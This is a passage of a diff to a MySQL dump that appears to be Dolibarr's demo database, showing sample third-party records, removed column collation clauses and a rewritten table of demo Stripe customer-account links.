\r\ndddd',NULL,1,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,'123456789012',NULL,'fr_FR',NULL,NULL,1,'logo_nltechno_94x100.png','','',0,NULL,NULL,'','','The OpenSource company',0,NULL,'generic_odt:/home/ldestailleur/git/dolibarr_11.0/documents/doctemplates/thirdparties/template_thirdparty.ods',NULL,1,'EUR',NULL,0,NULL),(11,0,NULL,'2019-11-28 11:52:58','2012-07-10 18:35:57','Company Corp 1',1,NULL,NULL,'CU1510-0017',NULL,'7051',NULL,'21 Green Hill street','75500','Los Angeles',0,11,'444123456',NULL,'companycorp1.com','companycorp1@example.com','{\"skype\":\"corp1\"}',1,1,NULL,'0','AB1234567','','','','USABS123',10000.00000000,0,NULL,NULL,NULL,3,0,NULL,'PL_LOW',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,0,0.000,NULL,0.000,NULL,NULL,'en_US',NULL,NULL,1,'comapnycorp1company.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,1,'EUR',NULL,0,NULL),(12,0,NULL,'2023-01-14 10:46:33','2012-07-11 16:18:08','Dupont Alain',1,NULL,NULL,'CU1601-0019',NULL,'411CU16010019',NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,'pcurie@example.com','[]',NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,1,0,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'pierrecurie.jpg','','',0,NULL,NULL,'','','',0,NULL,'',NULL,0,'',NULL,0,NULL),(13,0,NULL,'2019-10-08 09:57:51','2012-07-11 17:13:20','Company Corp 2',1,NULL,NULL,'CU1910-00021','SU1510-0008','411CU191000021','401SU15100008','',NULL,NULL,0,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,3,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'companycorp2company.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,1,'EUR',NULL,0,NULL),(17,0,NULL,'2019-11-28 15:02:49','2013-08-01 02:41:26','Book Keeping Company',1,NULL,NULL,'CU1108-0004','SU1108-0004',NULL,'401SU11080004','The French Company',NULL,'Paris',0,1,NULL,NULL,NULL,NULL,'[]',1,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,1,NULL,'',0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'bookkeepercompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,1,'EUR',NULL,0,NULL),(19,0,NULL,'2019-09-26 12:03:13','2015-01-12 12:23:05','Magic Food Store',1,NULL,NULL,'CU1301-0008',NULL,NULL,NULL,'65 holdywood boulevard','123456','BigTown',0,4,NULL,'0101',NULL,'myemail@domain.com',NULL,NULL,NULL,NULL,'0','','','10/10/2010','','',0.00000000,0,NULL,NULL,NULL,1,0,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL,0.000,NULL,0.000,NULL,NULL,'en_US',NULL,NULL,1,'magicfoodstore.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,'sepamandate',NULL,NULL,NULL,NULL,0,NULL),(25,0,NULL,'2018-01-22 17:21:17','2015-03-10 15:47:37','Print Company',1,NULL,NULL,'CU1303-0016','SU1303-0007',NULL,NULL,'21 Gutenberg street','45600','Berlin',0,5,NULL,NULL,NULL,'printcompany@example.com',NULL,NULL,NULL,NULL,'0','','','','','',0.00000000,0,NULL,NULL,NULL,0,1,NULL,NULL,0,0,0,1,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,'de_DE',NULL,NULL,1,'printcompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,NULL,NULL,NULL,0,NULL),(26,0,NULL,'2019-09-26 12:06:05','2017-02-12 23:17:04','Calculation Power',1,NULL,NULL,'CU1702-0020',NULL,'411CU17020020',NULL,'',NULL,'Calgary',0,14,NULL,NULL,NULL,'calculationpower@example.com',NULL,NULL,NULL,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0,0,0.000,0,0.000,NULL,NULL,'en_US',NULL,NULL,1,'bookkeepercompany.png','','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,1,'EUR',NULL,0,NULL),(29,0,NULL,'2020-01-13 12:56:22','2020-01-06 00:39:58','Patient',1,NULL,NULL,'CU2001-00022',NULL,'411CU200100022',NULL,'',NULL,NULL,0,117,'01','02',NULL,NULL,'null',NULL,NULL,NULL,NULL,'','','','','',NULL,0,'aa < ddd',NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0.000,NULL,0.000,NULL,NULL,NULL,'patient@cabinetmed',NULL,1,NULL,'','',0,NULL,NULL,NULL,NULL,'',0,NULL,NULL,NULL,0,'',NULL,0,NULL),(30,0,NULL,'2022-12-28 00:56:01','2020-01-13 17:19:24','Italo',1,NULL,NULL,'CU2001-00023',NULL,'411CU200100023',NULL,'12 Alagio','123','Milano',777,3,NULL,NULL,NULL,'aaa@it.com','[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,4,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,0,NULL),(31,0,NULL,'2023-01-02 18:49:54','2022-12-26 12:12:11','aaa',1,NULL,NULL,'CU2212-00024',NULL,'411CU221200024',NULL,'',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,'[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,0,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,'1.JPG','','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,NULL,NULL),(32,0,NULL,'2022-12-26 12:12:43','2022-12-26 12:12:43','aaa',1,NULL,NULL,'CU2212-00025',NULL,'411CU221200025',NULL,'',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,'[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,NULL,NULL),(33,0,NULL,'2023-02-09 18:09:16','2022-12-26 12:14:10','aaainlux',1,NULL,NULL,'CU2212-00026',NULL,'411CU221200026',NULL,'',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,'[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',4,NULL,NULL),(34,0,NULL,'2023-02-15 23:08:31','2022-12-26 12:15:09','aaaincash',1,NULL,NULL,'CU2212-00027',NULL,'411CU221200027',NULL,'Direction des systèmes d\'information\r\n98-102 rue de Richelieu 75002 Paris.\r\nSiège: 1, place du Palais Royal, 75001','75001','Paris',77,1,'060606060606','0705050505','https://aaa.com','aaa@aaa.com','[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',3,NULL,NULL),(35,0,NULL,'2022-12-28 00:21:00','2022-12-26 12:18:03','bbb',1,NULL,NULL,'CU2212-00028',NULL,'411CU221200028',NULL,'',NULL,NULL,NULL,1,NULL,NULL,NULL,'aaa@aa.com','[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,NULL,NULL),(36,0,NULL,'2022-12-26 12:21:55','2022-12-26 12:21:55','bbb',1,NULL,NULL,'CU2212-00029',NULL,'411CU221200029',NULL,'',NULL,NULL,NULL,1,NULL,NULL,NULL,NULL,'[]',NULL,0,NULL,NULL,'','','','','',NULL,0,NULL,NULL,NULL,3,0,NULL,'',0,0,0,12,12,0,0,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,NULL,0.000,NULL,0.000,NULL,NULL,NULL,NULL,NULL,1,NULL,'','',0,NULL,NULL,'','','',0,NULL,'',NULL,1,'EUR',NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_societe` ENABLE KEYS */; UNLOCK TABLES; @@ -12347,24 +11420,24 @@ DROP TABLE IF EXISTS `llx_societe_account`; CREATE TABLE `llx_societe_account` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) DEFAULT 1, - `login` varchar(128) COLLATE utf8mb3_unicode_ci NOT NULL, - `pass_encoding` varchar(24) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass_crypted` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass_temp` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `login` varchar(128) NOT NULL, + `pass_encoding` varchar(24) DEFAULT NULL, + `pass_crypted` varchar(128) DEFAULT NULL, + `pass_temp` varchar(128) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, - `site` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `site` varchar(128) DEFAULT NULL, `fk_website` int(11) DEFAULT NULL, - `note_private` mediumtext COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note_private` mediumtext DEFAULT NULL, `date_last_login` datetime DEFAULT NULL, `date_previous_login` datetime DEFAULT NULL, `date_creation` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_creat` int(11) NOT NULL, `fk_user_modif` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `status` int(11) DEFAULT NULL, - `key_account` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `site_account` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `key_account` varchar(128) DEFAULT NULL, + `site_account` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_societe_account_login_website_soc` (`entity`,`fk_soc`,`login`,`site`,`fk_website`), UNIQUE KEY `uk_societe_account_key_account_soc` (`entity`,`fk_soc`,`key_account`,`site`,`fk_website`), @@ -12383,7 +11456,7 @@ CREATE TABLE `llx_societe_account` ( LOCK TABLES `llx_societe_account` WRITE; /*!40000 ALTER TABLE `llx_societe_account` DISABLE KEYS */; -INSERT INTO `llx_societe_account` VALUES (1,1,'','',NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-13 19:25:01','2018-03-19 09:01:17',12,NULL,NULL,0,'',NULL),(4,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 01:04:19','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(5,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 01:08:02','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(6,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 17:09:36','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(7,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 17:09:44','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(8,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:43:23','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(9,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:46:09','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(10,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:46:15','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(13,1,'',NULL,NULL,NULL,163,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:33:19','2018-03-14 15:33:19',0,NULL,NULL,0,'cus_CUam8x0KCoKZlc',NULL),(14,1,'',NULL,NULL,NULL,182,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:48:48','2018-03-14 15:48:49',0,NULL,NULL,0,'cus_CUb2Xt4A2p5vMd',NULL),(15,1,'',NULL,NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:52:13','2018-03-21 10:43:37',12,NULL,NULL,0,'',NULL),(17,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:57:42','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(18,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:57:47','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(19,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:58:13','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(20,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:58:19','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(21,1,'',NULL,NULL,NULL,151,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 19:10:29','2018-03-16 15:10:29',12,NULL,NULL,0,'cus_CVKshSj8uuaATf',NULL),(22,1,'','',NULL,NULL,152,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 19:11:15','2018-03-16 15:11:15',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(24,1,'',NULL,NULL,NULL,153,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 20:15:45','2018-03-16 16:15:45',18,NULL,NULL,0,'cus_CVLv9rX4wMouSk',NULL),(25,1,'','',NULL,NULL,155,'stripe',NULL,NULL,NULL,NULL,'2018-03-18 23:55:37','2018-03-18 19:55:37',12,NULL,NULL,0,'cus_CVLLzP90RCWx76',NULL),(26,1,'','',NULL,NULL,155,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 00:01:47','2018-03-18 20:01:47',12,NULL,NULL,1,'cus_CVLLzP90RCWx76',NULL),(27,1,'','',NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 13:01:17','2018-03-19 09:01:17',12,NULL,NULL,0,'',NULL),(28,1,'',NULL,NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 13:21:02','2018-03-19 09:21:02',0,NULL,NULL,0,'cus_CWMu7PlGViJN1S',NULL),(29,1,'',NULL,NULL,NULL,1,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 13:38:26','2018-03-19 09:38:26',0,NULL,NULL,0,'cus_CWNCF7mttdVEae',NULL),(30,1,'','',NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-21 14:43:37','2018-03-21 10:43:37',12,NULL,NULL,0,'',NULL),(31,1,'',NULL,NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-21 14:44:18','2018-03-21 10:44:18',0,NULL,NULL,0,'cus_CX8hWwDQPMht5r',NULL),(32,1,'',NULL,NULL,NULL,211,'stripe',NULL,NULL,NULL,NULL,'2018-04-19 16:20:27','2018-04-19 14:20:27',18,NULL,NULL,0,'cus_Ci3khlxtfYB0Xl',NULL),(33,1,'',NULL,NULL,NULL,7,'stripe',NULL,NULL,NULL,NULL,'2018-04-30 14:57:29','2018-04-30 12:57:29',0,NULL,NULL,0,'cus_Cm9td5UQieFnlZ',NULL),(38,1,'',NULL,NULL,NULL,154,'stripe',NULL,NULL,NULL,NULL,'2018-05-16 17:01:24','2018-05-16 15:01:24',18,NULL,NULL,0,'cus_CsBVSuBeNzmYw9',NULL),(39,1,'','',NULL,NULL,151,'stripe',NULL,NULL,NULL,NULL,'2018-05-17 09:42:37','2018-05-17 07:42:37',12,NULL,NULL,1,'cus_CVKshSj8uuaATf',NULL),(40,1,'',NULL,NULL,NULL,217,'stripe',NULL,NULL,NULL,NULL,'2018-06-01 19:47:16','2018-06-01 17:47:16',18,NULL,NULL,0,'cus_CyDmj3FJD8rYsd',NULL),(41,1,'',NULL,NULL,NULL,218,'stripe',NULL,NULL,NULL,NULL,'2018-06-11 11:34:38','2018-06-11 09:34:38',12,NULL,NULL,0,'cus_D1q6IoIUoG7LMq',NULL),(42,1,'',NULL,NULL,NULL,10,'stripe',NULL,NULL,NULL,NULL,'2018-06-12 13:49:51','2018-06-12 11:49:51',0,NULL,NULL,0,'cus_D2FVgMTgsYjt6k',NULL),(44,1,'',NULL,NULL,NULL,215,'stripe',NULL,NULL,NULL,NULL,'2018-06-15 16:01:07','2018-06-15 14:01:07',18,NULL,NULL,0,'cus_D3PIZ5HzIeMj7B',NULL),(45,1,'',NULL,NULL,NULL,229,'stripe',NULL,NULL,NULL,NULL,'2018-06-27 01:40:40','2018-06-26 23:40:40',18,NULL,NULL,0,'cus_D7g8Bvgx0AFfha',NULL),(46,1,'',NULL,NULL,NULL,156,'stripe',NULL,NULL,NULL,NULL,'2018-07-17 14:13:48','2018-07-17 12:13:48',18,NULL,NULL,0,'cus_DFMnr5WsUoaCJX',NULL),(47,1,'',NULL,NULL,NULL,231,'stripe',NULL,NULL,NULL,NULL,'2018-07-17 17:46:42','2018-07-17 15:46:42',18,NULL,NULL,0,'cus_DFQEkv3jONVJwR',NULL),(48,1,'',NULL,NULL,NULL,250,'stripe',NULL,NULL,NULL,NULL,'2018-09-17 09:27:23','2018-09-17 07:27:23',18,NULL,NULL,0,'cus_DcWBnburaSkf0c',NULL),(49,1,'',NULL,NULL,NULL,11,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:08:01','2018-10-12 18:08:01',0,NULL,NULL,0,'cus_Dm39EV1tf8CRBT',NULL),(50,1,'',NULL,NULL,NULL,214,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:57:17','2018-10-12 18:57:17',18,NULL,NULL,0,'cus_Dm3wMg8aMLoRC9',NULL),(51,1,'',NULL,NULL,NULL,213,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:59:41','2018-10-12 18:59:41',18,NULL,NULL,0,'cus_Dm3zHwLuFKePzk',NULL),(52,1,'',NULL,NULL,NULL,19,'stripe',NULL,NULL,NULL,NULL,'2020-01-02 23:41:45','2020-01-02 19:41:45',12,NULL,NULL,0,'cus_GTWb6Y0oPo4ciI',NULL); +INSERT INTO `llx_societe_account` VALUES (1,1,'','',NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-13 19:25:01','2018-03-19 09:01:17',12,NULL,NULL,0,'',NULL),(4,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 01:04:19','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(5,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 01:08:02','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(6,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 17:09:36','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(7,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 17:09:44','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(8,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:43:23','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(9,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:46:09','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(10,1,'','',NULL,NULL,145,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 18:46:15','2018-03-14 14:46:15',12,NULL,NULL,0,'cus_CUZzMg8S2T3oEo',NULL),(13,1,'',NULL,NULL,NULL,163,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:33:19','2018-03-14 15:33:19',0,NULL,NULL,0,'cus_CUam8x0KCoKZlc',NULL),(14,1,'',NULL,NULL,NULL,182,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:48:48','2018-03-14 15:48:49',0,NULL,NULL,0,'cus_CUb2Xt4A2p5vMd',NULL),(15,1,'',NULL,NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 19:52:13','2018-03-21 10:43:37',12,NULL,NULL,0,'',NULL),(17,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:57:42','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(18,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:57:47','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(19,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:58:13','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(20,1,'','',NULL,NULL,148,'stripe',NULL,NULL,NULL,NULL,'2018-03-14 23:58:19','2018-03-14 19:58:19',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(21,1,'',NULL,NULL,NULL,151,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 19:10:29','2018-03-16 15:10:29',12,NULL,NULL,0,'cus_CVKshSj8uuaATf',NULL),(22,1,'','',NULL,NULL,152,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 19:11:15','2018-03-16 15:11:15',12,NULL,NULL,0,'cus_CTnHl6FRkiJJYC',NULL),(24,1,'',NULL,NULL,NULL,153,'stripe',NULL,NULL,NULL,NULL,'2018-03-16 20:15:45','2018-03-16 16:15:45',18,NULL,NULL,0,'cus_CVLv9rX4wMouSk',NULL),(25,1,'','',NULL,NULL,155,'stripe',NULL,NULL,NULL,NULL,'2018-03-18 23:55:37','2018-03-18 19:55:37',12,NULL,NULL,0,'cus_CVLLzP90RCWx76',NULL),(26,1,'','',NULL,NULL,155,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 00:01:47','2018-03-18 20:01:47',12,NULL,NULL,1,'cus_CVLLzP90RCWx76',NULL),(27,1,'','',NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 13:01:17','2018-03-19 09:01:17',12,NULL,NULL,0,'',NULL),(28,1,'',NULL,NULL,NULL,204,'stripe',NULL,NULL,NULL,NULL,'2018-03-19 13:21:02','2018-03-19 09:21:02',0,NULL,NULL,0,'cus_CWMu7PlGViJN1S',NULL),(30,1,'','',NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-21 14:43:37','2018-03-21 10:43:37',12,NULL,NULL,0,'',NULL),(31,1,'',NULL,NULL,NULL,203,'stripe',NULL,NULL,NULL,NULL,'2018-03-21 14:44:18','2018-03-21 10:44:18',0,NULL,NULL,0,'cus_CX8hWwDQPMht5r',NULL),(32,1,'',NULL,NULL,NULL,211,'stripe',NULL,NULL,NULL,NULL,'2018-04-19 16:20:27','2018-04-19 14:20:27',18,NULL,NULL,0,'cus_Ci3khlxtfYB0Xl',NULL),(33,1,'',NULL,NULL,NULL,7,'stripe',NULL,NULL,NULL,NULL,'2018-04-30 14:57:29','2018-04-30 12:57:29',0,NULL,NULL,0,'cus_Cm9td5UQieFnlZ',NULL),(38,1,'',NULL,NULL,NULL,154,'stripe',NULL,NULL,NULL,NULL,'2018-05-16 17:01:24','2018-05-16 15:01:24',18,NULL,NULL,0,'cus_CsBVSuBeNzmYw9',NULL),(39,1,'','',NULL,NULL,151,'stripe',NULL,NULL,NULL,NULL,'2018-05-17 09:42:37','2018-05-17 07:42:37',12,NULL,NULL,1,'cus_CVKshSj8uuaATf',NULL),(40,1,'',NULL,NULL,NULL,217,'stripe',NULL,NULL,NULL,NULL,'2018-06-01 19:47:16','2018-06-01 17:47:16',18,NULL,NULL,0,'cus_CyDmj3FJD8rYsd',NULL),(41,1,'',NULL,NULL,NULL,218,'stripe',NULL,NULL,NULL,NULL,'2018-06-11 11:34:38','2018-06-11 09:34:38',12,NULL,NULL,0,'cus_D1q6IoIUoG7LMq',NULL),(42,1,'',NULL,NULL,NULL,10,'stripe',NULL,NULL,NULL,NULL,'2018-06-12 13:49:51','2018-06-12 11:49:51',0,NULL,NULL,0,'cus_D2FVgMTgsYjt6k',NULL),(44,1,'',NULL,NULL,NULL,215,'stripe',NULL,NULL,NULL,NULL,'2018-06-15 16:01:07','2018-06-15 14:01:07',18,NULL,NULL,0,'cus_D3PIZ5HzIeMj7B',NULL),(45,1,'',NULL,NULL,NULL,229,'stripe',NULL,NULL,NULL,NULL,'2018-06-27 01:40:40','2018-06-26 23:40:40',18,NULL,NULL,0,'cus_D7g8Bvgx0AFfha',NULL),(46,1,'',NULL,NULL,NULL,156,'stripe',NULL,NULL,NULL,NULL,'2018-07-17 14:13:48','2018-07-17 12:13:48',18,NULL,NULL,0,'cus_DFMnr5WsUoaCJX',NULL),(47,1,'',NULL,NULL,NULL,231,'stripe',NULL,NULL,NULL,NULL,'2018-07-17 17:46:42','2018-07-17 15:46:42',18,NULL,NULL,0,'cus_DFQEkv3jONVJwR',NULL),(48,1,'',NULL,NULL,NULL,250,'stripe',NULL,NULL,NULL,NULL,'2018-09-17 09:27:23','2018-09-17 07:27:23',18,NULL,NULL,0,'cus_DcWBnburaSkf0c',NULL),(49,1,'',NULL,NULL,NULL,11,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:08:01','2018-10-12 18:08:01',0,NULL,NULL,0,'cus_Dm39EV1tf8CRBT',NULL),(50,1,'',NULL,NULL,NULL,214,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:57:17','2018-10-12 18:57:17',18,NULL,NULL,0,'cus_Dm3wMg8aMLoRC9',NULL),(51,1,'',NULL,NULL,NULL,213,'stripe',NULL,NULL,NULL,NULL,'2018-10-12 20:59:41','2018-10-12 18:59:41',18,NULL,NULL,0,'cus_Dm3zHwLuFKePzk',NULL),(52,1,'',NULL,NULL,NULL,19,'stripe',NULL,NULL,NULL,NULL,'2020-01-02 23:41:45','2020-01-02 19:41:45',12,NULL,NULL,0,'cus_GTWb6Y0oPo4ciI',NULL); /*!40000 ALTER TABLE `llx_societe_account` ENABLE KEYS */; UNLOCK TABLES; @@ -12398,16 +11471,16 @@ CREATE TABLE `llx_societe_address` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `label` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(30) DEFAULT NULL, `fk_soc` int(11) DEFAULT 0, - `name` varchar(60) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `address` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `name` varchar(60) DEFAULT NULL, + `address` varchar(255) DEFAULT NULL, + `zip` varchar(10) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `fk_pays` int(11) 